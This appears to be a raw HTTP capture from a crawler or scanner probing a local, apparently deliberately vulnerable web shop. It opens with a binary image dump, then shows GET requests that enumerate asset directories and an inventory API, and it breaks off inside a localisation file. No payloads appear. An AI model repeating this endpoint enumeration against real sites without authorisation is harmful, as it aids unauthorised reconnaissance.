\xd0\x9b\xbc}\xef\x18A*\xa97\x98w\x93\x06l\xa1gI!\x04u\xd5\xd6W\xf5\x1c\xdf\xf8\x8b\xb8W<au\xba\xa9\x7f\xf8\xcc\x9a(\x8a\xa8\x8c\xa0f\x03i\xcf\xb3}\xcc[\xf3\xec\x8a%\xd5q8\xdf\xba\xb0\xac\'\xb4\x97qw\xb8$|\x84"F\xcf\xb4\xd9@R\x83\xa5"\x98\xd8\xc7\x1a\xb9\xc9\xcf\xc0\x88\x93\x94D\xab)i\x04\xe2\xa7%r\xc4\xfd\x89\'6\xe0y\xf4\xd4\x81L\xa4\n^o\xa54\xc6\x15\xb5$\x87\x1b\xe8\xc5\x17\x02\x08M3d&\x99\xef;n\xe4\x95}M\xa8)&\x8aI\xa8\x8b\x1e\xd0\x13\xd2\xc9s\xe2\xc8\xad\xe3/~^1k1\x8a\xb0\xb1\x91_?m(\xacWRv\xc2\x93QC\x9e\x12\xe1J\x8a\x17r\x85\xdd\xd0\x8b\xd29\x0f"WA\nV4XR\x9d*y\x96\x8d\xe0\xa8Wp\xeb\x1f\x00`\x9a\n\x98\x9e\x9aT\xd4\xc2\xddW\xc4I\xe1\x98p\x17B\x19\x00_\x05\xa4\x98Z\n/\x10-\t\x94\x8a\x07W\xfd\xc7\xef\x0eL8\xe7\xbe\xa2w\x92yZ4T`d\xc5\x1cq\xac\xc4cw]\xf5\x8bY\x15f\xba\x08\xf6\xc8V*\x81\xd0`\x1a\x88\xb7\x9a\xc4\xb4&\x12E(\xe2\xfb\xb1\x8d>\xf1*\xe9\x08\x15\xbe\x12\xb4\xab$,QG\x95J\t\x15&\x91\x81o\x15\xdb\x0c\x01\x93\xaf\xfb\x15\x16\xaa\xca$\xde#2\x15\xfbO"\x16\x149\x1fP\xa5 z\x89\xf7\x86\xf8\xc13I\xe1\xfd&-\x01V\x15\xed\xd9^;iV\x90#\r\x1b\x08\xb5\xdf\x03JOzR~\xb1)z8\xc6,:\xa5%f\x87<s\xcb\xd3\x05\xd5\xe9\x8c\xa6\xa60%A6\xc3\x04\xff\x007\x8a\x15\x16\x83%\xe9g\x1b\x19T\x85\x0e\xf0G.:\xb4\xfa\xc8\xf7\x84`sX\xd3JV\xaaO\x89\x1f\xee-5R\\\xf0\xf9\xfby\x05\x050\x9d\xdf(\xfcEl&\xd3\x07Y\xb4\x9f\x15\x0f\xa4I\x1b\x88\x8aD\xc8\xa3\x87\xd4\xb2\xe6\xfa$\xdbO\x1c\x88ZI\xdc\r\xfe\x10/\xbe-IN\x8b4\xe3Y\x02Ti\xbb*|)\xec\x19\x15T`|\xaf7.\xa7O\xc6n\xdc\x9f\xf7X\xb6\\\xa2R\x8e>\xde\xcaUX\x03A1\xf8\x9c\xc8\x0f0\xe6r\x95\x0f\xed \xff\x00\x94K\xbd\xcd\xaa\xa7$\x19\xb6\x86xZ\xf1\xd4N\x9fP\xc6\x07\xdabz\xcdl\x93U b+zF^)\xa1\xe3\x18mf\x9e\xac\xd2G\xf2\xab\xfcO\xd3\xfbG\xb0\xb3\xe5\x16\xfb\x89m\x03\xac\xa3O;\xb2\xc4\xb4\xbae\x9aKi\xc8\x90\x04O\xbd\xce\xbaH\xc8.\xf6\xf61\xfc\xb5o\xfaG\xe2k\x01R\xcc\xbb\xaa\xb2\x9f\xee\x15\xff\x00\x1fa\x816\xe8\xb3g1\x1c4i\xda\x03\xa0\x1f\x85\\/\x07a\xa9\xc9\x13\x12\xe8\x98mM\xb8*\x95\n\x11\x16\xcd\x92\xe5\x9c\xf9mW\xa4\xde\x93\xa4}\xc6q\xf4\xa7\xac\xda1\x8c`\xdd\x8ae\x11\xcf:?1Y\x06\xa8\xfb\x9c\xfa2i\x8bFk\x99F(\xf7\x8f\x87`\xb1\x94\x02\x947F\x1aYNZ6yKB\xabB\x82\xc0\xd3J\x827\xd0\x9ai7C\x8d-\xa5\x14\xac\x14\xa8e\x04P\x8e\x1e\xb9\x8c\x04\xc2E\xce#\xa2<\tR\x07UT\xadS\xa1G1\x19\x89\xf7\x86\xd1\xd6\x9e\x90fu\xa2\xd3\xa9\xa8=\xe0\xe9\x071\xff\x00\xe6H\xb5pRjP\x9569\xc4i\x03\xac7\xa7\xea*7E)\xcb#e\xcc\xce\xaa\x8c\xa0\x91\xa7\xe1\xef\xc9\x16.\x0c\xb5%G\x1c\xeb9\xe07i;{\x80\x89\x99\x94\xb0\x9a\xab\x84<\xf2\x9eYR\xb2\xf6\x06\x1e,\xac(f\x89y\xa6\xde\x15I\x81\xec\x0c?h4\xc9\t7\x9d\x99\xa1\xa7\xd0\xe8\xaaMbf\xce\x96\x99\xbd\xd6\xd2\xa3\xa4\x81^\xfc\xb0pV\xcd\'\xf8_\xfb+\xef\x0cX2\x0c{\xac\xa7\x88\xc6\xfd\xd5\x8b\x924\x08\x99\xb5\x10\xdd\xc8\xeb\x1f\x08u\xe5:\xace\x1a\x9e\xc4\t\x06\xa2:C\x9a\xc7\xbc\xc7HsX\xf7\x98\xe9\x0ek\x1e\xf3\x1d!\xcdc\xdec\xa49\xac{\xcct\x875\x8fy\x8e\x90\xe6\xb1\xef1\xd2\x1c\xd6=\xe6\x0b\xee\x1f\x88\xf7\x9eD\xa8\xa4\xd4\x1aCv\x8b\xe8\xf8\xab\xbe=.\xf6\xcf<aV\xab\xea\xce\x07\x08q\xf5\xb9\xef\x12\x7f\xed\xd7\xff\xc4\x00F\x11\x00\x01\x02\x03\x03\x04\x0c\x0c\x05\x03\x05\x01\x00\x00\x00\x00\x01\x00\x02\x03\x04\x11\x05\x121\x06!AQ\x07\x10\x13\x142@aq\xa1\xb1\xd1\xf0\x15 "0RSb\x81\x82\x91\xc1\xe1\x16Pcr\xa2#B\xb23`p\xc2\xd2\xf1\xff\xda\x00\x08\x01\x03\x01\x01?\x00\xff\x00mnn\xa5\x7f!l"\xe4\xd8a\xa9\xcf\r\xc5\x1e<\xc8e\xc9\x90\x83y\xd3\x9e\x1b\x8a|bp\xfc\x82\x10\xa3TX\xa4\x1a\x0f\xc8\x99\xc1\n!\xf2\x8f\xe4@Q;\x13\xf9\x08\xc7\xf28| \x9f\x98\x1e6\xd6\x97\x1c\xc8@\xd6V\xe05\xad\xc0-\xc0-\xc0-\xc0&\xc2\r5N\x15\x14[\x80[\x80N\x82F\x19\xf8\xc3\x1bt)\xabf\x1c\x17\x16\xb4^#\xdc>\x7fe\xf8\x87\xf4\xff\x00\x97\xd9~!\xfd?\xe5\xf6_\x88\x7fO\xf9}\x97\xe2\x1f\xd3\xfe_e\xf8\x87\xf4\xff\x00\x97\xd9Y\xf6\x9e\xfbq\x17iA\xae\xbf@\xa7f\xb7\xb4"\xfaU~!\xfd?\xe5\xf6C(\x7fO\xa7\xec\xa5\'a\xcc\xb6\xac\xd1\x88\xd4\xa33O\x16\x84*\xe57\x17q\x82\xe7\xea\x1f\xfcG\xc6\xc9\xf6\xf0\xcf7\xd5[\xce\xa4\x005\xbb\xe8v\xec\x88\xdb\x9c\xc0\xd4\xec\xdd\x9d)\xed\xabH\xe2\xd0\x06%[\xd1\xae\xc2k=#\xd0>\xfe=\x80\xdf\xe98\xebw\xd0v\xac\xa0w\x92\xc1\xac\x9f\xa6\xdb\x1cZ\xe0\xe1\x885P\xde\x1e\xd0\xe1\x81\x15\xf9\xa7\x8a\x128\xa48W\xb3\xa0\xd0\xdc\xc1G\x92\x830A\x88+NS\xf4+\xc1\x12\xbe\x87I\xed^\x08\x95\xf4:Oj\xf0D\xaf\xa1\xd2{W\x82%}\x0e\x93\xda\xbc\x11+\xe8t\x9e\xd5\xe0\x89_C\xa4\xf6\xa8\x12\xf0\xe06\xeb\x05\x07\xbf\xea\xa6$\xe1LSt\x15\xa7)\x1dK\xc1\x12\xbe\x87I\xed^\x08\x95\xf4:Oj\xf0D\xaf\xa1\xd2{T8m\x86\xd0\xd6\xe6\x01>\x10vt\xe6\x96\x9a\x1e&\xcc\xcd\nb<\xeb^D8`\xb7A\xeeB\xdf6\x8f\xabo\x7f\x89o\x9bG\xd5\xb7\xbf\xc4\xb7\xcd\xa3\xea\xdb\xdf\xe2[\xe6\xd1\xf5m\xef\xf1-\xf3h\xfa\xb6\xf7\xf8\x96\xf9\xb4}[{\xfcK|\xda>\xad\xbd\xfe%\xbem\x1fV\xde\xff\x00\x12\xdf6\x8f\xabo\x7f\x89o\x9bG\xd5\xb7\xbf\xc4\xb7\xcd\xa3\xea\xdb\xdf\xe2[\xe6\xd1\xf5m\xef\xf1-\xf3h\xfa\xb6\xf7\xf8\x94\x9cH\xefi\xdd\x9a\x1ak\xa3W\xcc\xa8\xe3\x0e\'\n-3\x14UUUUUUUv\xea\xaa\xab\xb4M\x05S\xdfx\xd7\x89\x83C\xb58\xdb\xb1\xde=\xa3\xd7\xe3\xcb\xb6\xec&\x8d@u+Q\xd7\xa6^yz\x85<K\x01\xa7vq\xf6~\xa1E4i\xe2\xad5\x15V\xb0\xa4\xd3\xfd\xddCj\x9e#EM\x15(\xa7\x1dz3\xcf\xb4z\xfcL\x9eo\x0c\xf3}Ts\xe4\xf1Xf\xad\n\xddm&\x01\xd6\xd1\xd6P\xda;r\x8d\xbd\x19\x83\xda\x1dk\x04\xe3x\x93\xafi\x8c/!\xa399\x91\xb2\xe6G\xf6\x1e\x85b\xc2t8N\x0e\x04\x1b\xday\x82\x8ep\x1cV\x0f\x05[\xec\x17\x98\xed`\x8f\x95;P\xda;v[oL\xb0r\xf5\n\xa9\x87]\x84\xe3\xa8\x1e\xad\xb9\x08Otf\x10\xd2@p\xd1\xcb\xb7\x1c\x1cPi8qH\x18+}\x95\x86\xd7j4\xf9\x8f\xb2n*\xeap\xcd\xb7b\xb6\xb3 \xea\x05Z.\xbb.\xfeo\xb2\x96\x95|\xc3\xee\xb0}\x94\xa5\x93\x06\x08\xab\x85\xe7k=\x8b\x04\x14h\x91%"^\xcea\x9e\x8e\xf8\x8d\t\xa48Tg\x055\xb7E\x02\x8cj\xee\'\x03J\xb6\xd9z^\xba\x88?O\xaan;N\xc3n\xc0g\xf5\x1c\xedB\x9f3\xf6V\xc3\xa9,\xe1\xae\x9djRe\xd2\xf1\x03\xc7\xbck\n\x14V\xc5`{MAV\x84\x94H\x86\xf3I#Wb\x90\x9c2\xe6\xe4J\x81\xd4\xbc\x97\x8d`\xa6\xb00P`\x10F\x08&\xa4\xad\xc5\xa8\xc0jt\x020\xe2\x108J\xd3e\xf9g\x8eJ\xfc\x8dSq\xdav\x1by7-\x12 ykI\xad0\x1c\xfd\xaa\x7f\'\xe3LC\rq\x0c\x15\xfd\xc7\x03\xa0v\xa89\',\xde\x1b\x9c\xee\x81\xd5^\x94\xeb>ZR\x1d!\xb6\x95\xe5\'\xac\xa2\x9d\r\xaf\x1eP\x051\x8d`\xa3@\x1c\xcaVR4\xdcA\x0e\x0b\x1c\xf7\x9c\x03Aq<\xc0)\xa9X\xb2\xb1]\x06+K^\xc2Z\xe0q\x04b\x16H\xec[\x16\xdf\x93l\xde\xf9l68\x91@\xd2\xf7\x02\xd2E\x08\xabF\x80G\x94s\x1fr\x83\xb0l\xa8\x1f\xd4\x9ay<\x8c\r\xeb.S{\x06\xc2\xbaL\t\xa7\x03\xed0\x11\xd0G}\x0b)r&\xd2\xb0\r\xe8\xed\x0e\x86M\x03\xdb\x9d\xa4\xea8\x16\x9f\xdc\x05t\x12\xa2C\x0e\x1c\xbe~\x17\tF\x84b\xc3s\x06.\x04|\xd4L\x9b\x9ef\x0c\xa8\xe4#\xeaj\xbc\r7Zng\xa3\xb53\'\xe6\xdf\x8b@\xe7#\xe9U\x03$\x1e\x7f\xd5\x88\x07\xed\x15\xe94\xeaR\xb9=\'\x03=\xdb\xc7[\xb3\xf4a\xd0\xa4\x1a\x033kS\xe70\x1c\xfbS1wG\xd7B\xd8\x9f!\xa1\xcf\x9f\tN4:\x1bI\x10\xdaEC\xdc1y\x071kpn\xb7\xd6\xbc\x1c\xf3\xb9\taN\x12\xe8\xb2\x90\xeat\xb4\\\xff\x00\x02\xd5\x0bc,\x9d\x84o6P\x1ew=\xdd\x0eq\n-\xb9o\xe4\xcc\xecWC\x86\xe9V=\xe4\xeee\x83s\xa5s5\xb9\xae\xd0\x0c\xd5a\xcf\xaf\x15lZ\xb1mI\xb7\xcdE\r\x0f\x88Au\xd1AZR\xb4$\xe3J\x9eZ\xab\x0b--{&X\xcaID\xba\xd7\xba\xf7\x049\xd5 \x03v\xf04\xc0`\x16\xc5SV\xc4h\x11\xfc$\xd8\xb9\xdc\xd71\xd1kSx\x10\xe0\xdb\xd9\xee\x8b\xa0\x80\x05\xdc\xe7j~N\x14\xcc7B\x8a\xd0\xe6<\x10\xe0p \xac\xb1\xc9\xc7XV\x93\xe5\xb3\x96\x1f)\x84\xe9c\xb0\xf7\x8c\xed:\xcbJ\x8c\xda\x1a\xf9\xe6\x1a\x10\xaa\xa0\xc7\x11\x050(\xe3\xe2A\x9a\xdc\xdbJ(\xf1\xf7R3R\x8a;\xee\xb0\x94\xd6\x97\x10\x06%Xv[,\xb9\x182\x8c\xa5!\xb076\x93O)\xdf\x13\xaa\xe3\xcaT\xd5\xaf\x11\xee\xa43A\xd2S-9\x86\x9a\xde\xaf:\x91\x9el\xdbK\\3\xe9\x1a\n}\x81g<\xd5\xd2\xd0\x89\xe5\x86\xde\xc5-!/-\x9a\x0c6\xb3\xf6\xb47\xa8!\xb5\x14U\xabf\xab8:Z^l\x0c\xedqa\xe6x\xbc>W\r9\xd4aV\xf9\xe0i\xb4\t\x19\xc2d\xdf\xa4\x9a\xf0\xec\x10\xdb&\x8ane\xaeikVJ\xc2\x11myF8T\x18\xf0\xc1\x1c\x97\xc5Q\x15\nrM\xf2\xee\xa1\x19\xb4\x1d\xab\x1a]\xe6&\xe9O$\x0f\x15\xf8\x15\xb2\xe3C\xac2N\x88\x8c=c\xea\xa2pO\x9fi\xa8\xaa\x08\xa0H\xc12j#t\xa1:\xf1\xa9\x19\xc8\x9c\x89\xf1\\\xfcMS\xb0V\x04\xdbe-)h\xee\xc2\x1cV8\xf35\xc0\x9e\xadH"\x01\xccV\xf4\x82\rn7\xe4\x10\xcd\xe2\xc4\xe0\x95\xb3,\xd0e\x95\n\x16\x97\xc5\x1f&\xb5\xd5\xe9-Q\xb8>~\x19\xf2Bi\xcc\x8e\xd0\xf1\n\x0b%\xed_\nYr\xf3U\xa9{\x05\xef\xde<\x97\xfc\x9e\x1c<\xc4c@\xb6d\xb5\x84{B\x14\xa3Nh,\xa9\xfd\xd1(\x7f\xc44\xfb\xd4s\x80\xf3\xf0x)\xb8"\xa9\xe3\x15\xb0\xb6R\nD\xb2\xe2\x9c\xf9\xe2C\xaf\xf3h\xe8x\x03\xdb\'\xcc[V\xa4\x1b:Z$\xcccFCi\'\xe8\x07+\x8d\x00\xe5*\xd4\xb4b\xda3Q&b\xf0\xa28\xb8\xf2W\x01\xcc\x06a\xc8\xa2:\xae\xf3\xf00L\xf3\x0e\x15V|\xfci\t\x86L@u\xd8\x90\xc8p<\xa3^\xb0p \xe6"\xa0\xac\x90\xca\xb9|\xa2\x92\x11\xe1\xe6{h"3K\x1d\xff\x00\x97b\xc7i\x19\xb1\x0e\x00x\xb1b\x06\n\x95\xb2f[\x8b^6\xf3\x95u`C9\xc8\xc2#\xc6\x91\xec\xb7\xfbu\x9f+\x0b\xa5E}\xd1\xc4%\xcer\x9b\xe6HV\x1d\xbb9b\xcc\x89\x99G\x96\xbcc\xa9\xc3K\\4\xb4\xf5\xd0\x8a8\x02\xb2[eK2\xd6h\x870\xe1/\x1bHq\xa3\x1d\xfb^h>\x17]54\x17\xb1M \x8a\x8c6\x8a\xb6\xf2\xa2\xcd\xb1\x98]7\x19\xad:\x1b\x8b\xcf3\x05]\xef\xa55\x95\x96\xbb\'L\xdba\xd2\xf2\xc0\xc2\x80s\x1fM\xe3\xda\xa6\r\xf6A\xcf\xfd\xc4\x8c\xc1\xcf\r\t\xce.5<A\xae\xbaj\x9a\xf0\xec\x11\xf3.\x8a\x1a\x83\x81\xc1Y\xd9CiY\xa2\x92\xb3\x11!\x8a\xd6\x8dq\r\xaf\xed\xe0\x9fxL\xd9K(\xda)\xbe\xbel\x84\x7f\xe9\xd6\xa7\xb2\xee\xdd\x9d\xae\xeb7\x13>\x86\x9d\xccj\xc2\x1d\xd0\x9c\xe2\xe2I5\'IO\x8c\x06\x08\xb8\x9cx\x9d\xf3\xad_v\xb5}\xda\xd5\xf7kW\xdd\xad_v\xb5}\xda\xd5\xf7kW\x8e\xbd\xa0h\x84W\r+wr1\x9cQq8\xff\x00\xc7_\xff\xd9'
GET http://localhost:3000/api/Quantitys HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"1767-6xbtzTdeGWyNMRY5xYQDA2lfts0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"ProductId":1,"id":1,"quantity":49,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":2,"id":2,"quantity":60,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":3,"id":3,"quantity":91,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":4,"id":4,"quantity":68,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":5,"id":5,"quantity":34,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":6,"id":6,"quantity":55,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":7,"id":7,"quantity":54,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":8,"id":8,"quantity":48,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":9,"id":9,"quantity":36,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":10,"id":10,"quantity":71,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":11,"id":11,"quantity":52,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":12,"id":12,"quantity":72,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":13,"id":13,"quantity":63,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":14,"id":14,"quantity":68,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":15,"id":15,"quantity":98,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":16,"id":16,"quantity":37,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":17,"id":17,"quantity":88,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":18,"id":18,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":19,"id":19,"quantity":79,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":20,"id":20,"quantity":5,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":21,"id":21,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":22,"id":22,"quantity":30,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":23,"id":23,"quantity":35,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":24,"id":24,"quantity":83,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":25,"id":25,"quantity":53,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":26,"id":26,"quantity":35,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":27,"id":27,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":28,"id":28,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":29,"id":29,"quantity":31,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":30,"id":30,"quantity":75,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":31,"id":31,"quantity":40,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":32,"id":32,"quantity":71,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":33,"id":33,"quantity":3,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":34,"id":34,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":35,"id":35,"quantity":8,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":36,"id":36,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":37,"id":37,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":38,"id":38,"quantity":0,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":39,"id":39,"quantity":30,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":40,"id":40,"quantity":2,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":41,"id":41,"quantity":1,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":42,"id":42,"quantity":1,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":43,"id":43,"quantity":3,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":44,"id":44,"quantity":52,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"}]}'
GET http://localhost:3000/assets HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 179\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/">/assets/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/i18n HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 189\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/i18n/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/i18n/">/assets/i18n/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/public HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 193\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/">/assets/public/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/i18n/en.json HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"8175-18df12a532a"\r\nContent-Type: application/json; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{\n "LANGUAGE": "English",\n "NAV_SEARCH": "Search",\n "SEARCH_PLACEHOLDER": "Search...",\n "NAV_COMPLAIN": "Complaint",\n "TITLE_LOGIN": "Login",\n "MANDATORY_EMAIL": "Please provide an email address.",\n "MANDATORY_PASSWORD": "Please provide a password.",\n "LABEL_EMAIL": "Email",\n "LABEL_PASSWORD": "Password",\n "SHOW_PASSWORD_ADVICE": "Show password advice",\n "LOWER_CASE_CRITERIA_MSG": "contains at least one lower character",\n "UPPER_CASE_CRITERIA_MSG": "contains at least one upper character",\n "DIGITS_CRITERIA_MSG": "contains at least one digit",\n "SPECIAL_CHARS_CRITERIA_MSG": "contains at least one special character",\n 